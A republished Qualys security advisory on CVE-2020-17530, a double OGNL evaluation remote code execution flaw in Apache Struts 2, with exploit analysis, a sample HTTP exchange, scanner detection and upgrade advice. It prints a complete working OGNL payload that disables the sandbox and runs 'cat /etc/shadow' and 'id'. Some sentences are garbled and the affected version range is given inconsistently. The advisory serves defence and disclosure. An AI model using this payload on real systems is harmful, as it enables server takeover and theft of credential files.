Qualys: Double OGNL Evaluation Vulnerability in Apache Struts 2 (CVE-2020-17530)


A vulnerability (CVE-2020-17530) discovered last year in the Object Graph Navigation Language (OGNL) evaluation function of Apache Struts versions 2.0.0 – 2.5.25 can be exploited by attackers to execute code on the web. distance. This RCE vulnerability does not come with Apache media, but depends on how the web application is configured, so a simple Apache version check cannot identify vulnerable systems.

Qualys Web Application Scanning added a new QID to detect this vulnerability which sends a query to the target server to determine if it is exploitable. Once detected, the vulnerability can be corrected by upgrading to Apache Struts 2.5.26 or higher, which checks whether evaluating the expression will not lead to double evaluation to prevent exploitation. Qualys also advises to avoid using forced OGNL evaluation on untrusted user input.

About CVE-2020-17530

Apache Struts 2 is a well-known open source web application framework for developing Java EE web applications which is widely targeted by hackers.

According to CVE-2020-17530, Struts versions 2.0.0 – 2.2.25 are vulnerable to this exploit.

This vulnerability occurs when the Apache Struts framework is forced to perform a double evaluation of attributes assigned to certain tag attributes such as identifier if a developer has configured the application to perform a forced OGNL evaluation using the syntax% {..}.

Double evaluation occurs when an expression string is evaluated as code, then, if the result is another string, it is evaluated again as code, the syntax% {..} indicates that the content inside should be treated as an OGNL expression.


<_s3a_ hidden="" name="" id="%{name}">

When a user passes a name =% {2 * 2} value, the input is treated as an OGNL script and is evaluated again, generating the output id = “4”, resulting in RCE.

Therefore, the value entered by the user ends up being evaluated twice when the attributes of the tag are rendered.

Exploit analysis

Before moving forward with exploitation, let’s break down the exploit to understand its basic concept.

Let’s first see what OGNL is? Object-Graph Navigation Language (OGNL) is an open source expression language for Java, which, while using expressions simpler than the full range of those supported by the Java language, makes it possible to obtain and define properties and run methods of Java classes.

Being able to create properties and modify code execution, it is prone to critical security vulnerabilities.

While the S2-061 exploit is essentially a workaround of the S2-059 sandbox environment, the sandbox restrictions imposed by OGNL enforce access validation to packages, classes and their normally private or protected methods / fields.

These private classes and methods can be viewed and modified by creating a BeanMap instance.

Analysis of the RCE code:

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/shadow")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

Apache Struts 2 contains an internal security manager that blocks access to particular classes and Java packages – this is an OGNL-wide mechanism, meaning it affects no any aspect of the framework.

Below are the three options that can be used to configure the excluded packages and classes

  • struts.excludedClasses

  • struts.excludedPackageNamePatterns

  • struts.excludedPackageNames

By analyzing the first part of the exploit code, we understand that a BeanMap instance is created and its setBean and put functions are used to set the exclusionClasses and excludePackageNames security mechanism options to empty, these options contain the set of classes excluded and package names, thus overriding the restrictions sandbox because all class and package access restrictions are now disabled.

Now that the OGNL restrictions are completely disabled, in the last part of the code we can see that the code execution is performed using the forbidden class Execute from the freemarker.template.utility package, this Execute class allows FreeMarker to execute external commands using the exec () method.


Attackers can execute system commands by sending specially crafted HTTP request containing OGNL payload to target server as below:


POST /index.action HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 775


HTTP/1.1 200 OK
Connection: close
Date: Tue, 24 Aug 2021 13:02:26 GMT
Content-Language: en
Content-Type: text/html;charset=utf-8
Set-Cookie: JSESSIONID=node011cf0u95rdhdp1xsd64hecky246.node0; Path=/
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 974
Server: Jetty(9.4.31.v20200723)

S2-059 demoyour input id: %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} has ben evaluated again in id attribute

Detect vulnerability with Qualys WAS

Customers can detect this vulnerability with Qualys Web Application Scanning using QID 150354. Since this vulnerability depends on the configuration of the application, the QID sends a POST / GET request to the target server with the OGNL RCE payload to confirm if the target is exploitable.


Once the vulnerability is successfully detected by Qualys WAS, users will see similar results in the vulnerability scan report:


Although this RCE vulnerability was discovered late last year, it has been observed in the wild and several exploitation scripts are still being released.

Therefore, we strongly recommend that you upgrade to Apache Struts 2.5.26 or higher.


Apache Struts announcement was made on December 08, 2020: https://struts.apache.org/announce-2020#a20201208

Apache Security Bulletin:

CVE details:

Credits for vulnerability discovery go to:

  • Alvaro Munoz – pwntester at github dot com

  • Masato Anzai of Aeye Security Lab, inc

The references:


  • Sheela sarva, Director, Quality Engineering, Web Application Security, Qualys
  • Ed arnold, Security Solutions Architect, Qualys



Qualys inc. published this content on September 21, 2021 and is solely responsible for the information it contains. Distributed by Public, unedited and unmodified, on September 21, 2021 14:51:03 PM UTC.

Leave A Reply

Your email address will not be published.